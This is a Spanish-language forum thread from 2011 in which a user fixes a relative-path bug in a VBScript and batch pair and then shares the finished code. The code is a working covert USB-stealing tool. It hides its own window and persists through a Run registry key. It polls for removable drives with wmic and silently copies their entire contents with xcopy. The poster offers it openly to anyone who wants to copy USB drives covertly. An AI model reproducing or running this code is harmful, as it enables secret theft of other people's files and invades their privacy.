Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: soyloqbuskas en 21 Octubre 2011, 07:14 am



Título: script vbs con ruta relativa (SOLUCIONADO)
Publicado por: soyloqbuskas en 21 Octubre 2011, 07:14 am
Buenas a todos!
Tengo el siguiente problemilla.....llevo dandole vueltas todo el dia y me tiene un poco loco....

Tengo el siguiente script llamado sys.vbs

set objshell = createobject("wscript.shell")
objshell.run "system.bat",vbhide

Funciona perfectamente, me habre el .bat y hasta aqui todo bien.
El .bat hace una entrada en el registro para que al arrancar windows se inicie el sys.vbs

Y eso es lo que falla....la entrada en el registro esta bien hecha....pero cuando se inicia el sys.vbs da un error en la linea 2 y dice que no encuentra el archivo.....en cambio cuando ejecuto el sys.vbs con un doble click funciona perfectamente..... :$

El caso es que si cambio el script (.vbs) y le pongo la ruta absoluta (rutaAbsoluta\system.bat)   si que funciona cuando arranca windows....por tanto el problema es de la ruta del sys.vbs, pero claro por tema de portabilidad, no me interesa que use ruta absoluta, prefiero la relativa....

¿Hay alguna otra forma de poner la ruta relativa de otra manera?
¿Hay alguna forma de calcular la ruta absoluta para luego concatenar el nombre del fichero?
y la mejor pregunta de todas.....¿porque ocurre esto con la ruta relativa y no con la absoluta?

Nota: he probado con  Environment.CurrentDirectory y con App.Path y no funciona.....imagino que sera porque en un script no estan estas librerias....

Gracias, un saludo!


Título: Re: script vbs con ruta relativa
Publicado por: soyloqbuskas en 26 Octubre 2011, 07:22 am
Bueno, por mas vueltas que le doy...no soy capaz de sacar la respuesta....
Con ruta absoluta si que funciona....
Os pongo los script que me funcionan perfectamente (con ruta absoluta claro..):

Scrtipt sys.vbs
set objshell = createobject("wscript.shell")
objshell.run "C:%homepath%\Desktop\log\system.bat",vbhide


Script system.bat

@echo off

REG ADD HKCU\software\microsoft\windows\currentversion\run /v sys /d C:%homepath%\desktop\log\sys.vbs  /f
:loop
   for /f "tokens=1" %%x in ('wmic logicaldisk get caption^, description ^| find /i "extra"') do (
      xcopy /s %%x C:%homepath%\desktop\log
      if EXIST %%x goto end   
   )
goto loop
:end
exit /b 0


El script sys.vbs ejecuta de manera oculta al script system.bat
El system.bat, hace:
     - una entrada en el registro de inicio de sesion de usuario
     - checkea los puertos usb para detectar memorias extraibles
     - en cuanto detecta un pendrive copia todo su contenido en la carpeta log
     - y finaliza el script
     - cuando el usuario vuelva a iniciar sesion, se volvera a ejecutar todo el proceso

Y asi es como me quedan los script con ruta relativa:

Scrript sys.vbs:
set objshell = createobject("wscript.shell")
objshell.run "system.bat",vbhide


Script system.bat:
@echo off

REG ADD HKCU\software\microsoft\windows\currentversion\run /v sys /d "%cd%\sys.vbs"  /f
:loop
   for /f "tokens=1" %%x in ('wmic logicaldisk get caption^, description ^| find /i "extra"') do (
      xcopy /s %%x
      if EXIST %%x goto end   
   )
goto loop
:end
exit /b 0


Este 2º modelo de script, funciona con doble click en sys.vbs, pero cuando arranca la sesion no funciona, me da error en la linea 2 del sys.vbs (no puede encontrar el archivo en la ruta especificada :S)
¿como es posible que con doble click si y arrancando desde el reg no?

NOTA: trabajo con windows 7, no se si afecta....pero por si acaso lo aviso...

Gracias a todos, un saludo!


Título: Re: script vbs con ruta relativa
Publicado por: Novlucker en 26 Octubre 2011, 13:23 pm
Recién lo veo :P

Código
  1. Msgbox left(wscript.scriptfullname,len(wscript.scriptfullname)-len(wscript.scriptname))

Saludos


Título: Re: script vbs con ruta relativa
Publicado por: soyloqbuskas en 26 Octubre 2011, 13:37 pm
Esa simple linea me ha dado la vida! jajaja
Ahora funciona todo perfectamente!

Para quien quiera este script que copia los usb de manera oculta, aqui os dejo el codigo bien hecho y mejorado!

archivo sys.vbs
Código:
set objshell = createobject("wscript.shell")
rutaBat = left(wscript.scriptfullname,len(wscript.scriptfullname)-len(wscript.scriptname))
rutaSys = rutaBat &"sys.vbs"
rutaBat = rutaBat &"system.bat"
objshell.regWrite "HKCU\software\microsoft\windows\currentversion\run\sys", rutaSys, "REG_SZ"
objshell.run rutaBat,vbhide

archivo system.bat
Código:
@echo off

:loop
for /f "tokens=1" %%x in ('wmic logicaldisk get caption^, description ^| find /i "extra"') do (
xcopy /s %%x
if EXIST %%x goto end
)
goto loop
:end
exit /b 0

Muchisimas gracias Novlucker! ;)
Un saludo!